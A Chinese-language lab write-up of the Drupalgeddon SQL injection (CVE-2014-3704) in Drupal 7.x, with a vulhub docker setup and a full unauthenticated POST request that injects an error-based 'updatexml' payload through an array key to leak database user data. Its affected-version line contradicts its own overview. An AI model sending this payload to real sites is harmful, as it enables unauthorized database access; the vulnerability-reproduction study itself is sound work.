Drupal 7.32 Drupalgeddon SQL 注入漏洞 (CVE-2014-3704)
0x01漏洞概述
Drupal是一个免费的开源Web内容管理框架,用PHP编写,并在GNU通用公共许可证下分发。
在 7.32 之前的 Drupal core 7.x 中的数据库抽象 API 中的 expandArguments 函数无法正确构造预准备语句,这使得远程攻击者能够通过包含精心编制的密钥的数组进行 SQL 注入攻击。
0x02影响版本
Drupal < 7.31
0x03漏洞环境
1、启动漏洞环境
┌──(root㉿kali)-[~/vulhub/drupal/CVE-2014-3704]
└─# docker-compose up -d
2、访问漏洞环境
环境启动后,浏览以查看 Drupal 安装向导,并使用默认配置进行安装。
http://your-ip:8080
Database name:drupal
用户名:root
密码:root
Database host:mysql
3、复现完成后,删除漏洞环境
┌──(root㉿kali)-[~/vulhub/drupal/CVE-2014-3704]
└─# docker-compose down
0x04复现过程
1、安装完成后,浏览主页
2、SQL 注入不需要身份验证,并且可以通过发送以下请求来执行恶意 SQL 语句
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
可以看出,SQL 语句报告包含用户数据的错误消息。